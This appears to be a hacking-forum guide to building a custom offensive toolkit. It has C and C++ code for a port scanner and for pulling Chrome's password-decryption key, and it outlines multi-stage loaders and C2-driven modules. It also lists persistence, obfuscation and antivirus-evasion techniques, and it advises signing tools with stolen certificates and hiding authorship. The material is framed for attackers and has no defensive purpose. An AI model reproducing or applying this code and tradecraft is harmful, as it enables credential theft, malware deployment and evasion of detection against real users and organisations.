Hacking Tools - Building a Custom Arsenal
1. Why Build Custom Tools?
Off-the-shelf tools are convenient but leave signatures. Antivirus vendors, EDR platforms, and threat hunting teams have signatures for every public tool in Metasploit, Cobalt Strike, and BloodHound. Custom tools bypass signature-based detection entirely.
Building your own toolkit is an investment. Each tool you write teaches you the underlying protocol, API, or vulnerability better than any tutorial. And when you need something specific, you do not waste time adapting someone else imperfect solution.
2. Tool Architecture Patterns
Modular Design: Separate reconnaissance, exploitation, persistence, and exfiltration into independent modules connected by a shared configuration.
Code:
class BaseModule {
virtual string Name() = 0;
virtual bool Init(const Config& cfg) = 0;
virtual bool Execute() = 0;
virtual void Cleanup() = 0;
};
Config-Driven: External YAML/JSON config files control behavior. No hardcoded C2 addresses or API keys.
Multi-Stage Loading: Stager downloads stage 2, stage 2 decrypts and injects stage 3. Each stage is small and innocuous.
3. Network Scanning
Code:
# Simple SYN scanner in C
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
void syn_scan(const char* ip, int start_port, int end_port) {
WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa);
for (int port = start_port; port <= end_port; port++) {
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
u_long mode = 1; ioctlsocket(s, FIONBIO, &mode);
sockaddr_in addr; addr.sin_family = AF_INET;
addr.sin_port = htons(port); inet_pton(AF_INET, ip, &addr.sin_addr);
connect(s, (sockaddr*)&addr, sizeof(addr));
fd_set fd; FD_ZERO(&fd); FD_SET(s, &fd);
timeval tv = {0, 1000};
if (select(0, NULL, &fd, NULL, &tv) > 0) printf("OPEN: %d\n", port);
closesocket(s);
}
WSACleanup();
}
4. Credential Harvesting
Browser Credential Extraction: Chrome stores passwords in SQLite database at %LocalAppData%\Google\Chrome\User Data\Default\Login Data. The passwords are encrypted with AES-256 using a key stored in Local State file. Decrypt with CryptUnprotectData.
Code:
#include <sqlite3.h>
#include <wincrypt.h>
string GetChromeKey() {
ifstream f(getenv("LOCALAPPDATA") + "/Google/Chrome/User Data/Local State");
json j; f >> j; string key = b64_decode(j["os_crypt"]["encrypted_key"]);
DATA_BLOB in = {(DWORD)key.size(), (BYTE*)key.data()}, out;
CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out);
return string((char*)out.pbData, out.cbData);
}
5. Persistence Techniques
- Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run - classic, widely monitored
- Scheduled Tasks: schtasks /create - survives reboots, runs as SYSTEM
- WMI Event Subscription: Triggers on system events (startup, user logon, process creation)
- COM Hijacking: Replace CLSID of a legitimate COM object that loads automatically
- Bootkit: Modify boot process (requires kernel access, most advanced)
- DLL Search Order Hijacking: Place malicious DLL in path before legitimate one
6. Obfuscation and Evasion
- String Encryption: XOR or AES encrypt all strings. Decrypt at runtime. Prevents static analysis.
- API Hashing: Hash API names with CRC32/MurmurHash. Resolve at runtime. No import table.
- Control Flow Flattening: Restructure code so disassemblers cannot follow logic paths.
- Junk Code Insertion: Insert dead code paths that execute but do nothing meaningful.
- Polymorphic Encoding: Each execution has different encoding. Same payload, different bytes.
7. OpSec for Tool Developers
- Develop in isolated VM with no network access to primary systems
- Use different coding style for each tool (variable naming, formatting) to avoid linking
- Never compile with debug symbols enabled
- Strip binaries and obfuscate strings before distribution
- Sign tools with stolen or self-signed certificates
- Version control on local only - never push private tools to GitHub
Custom tooling is the difference between being a script kiddie and being an operator. Invest the time to build your own arsenal.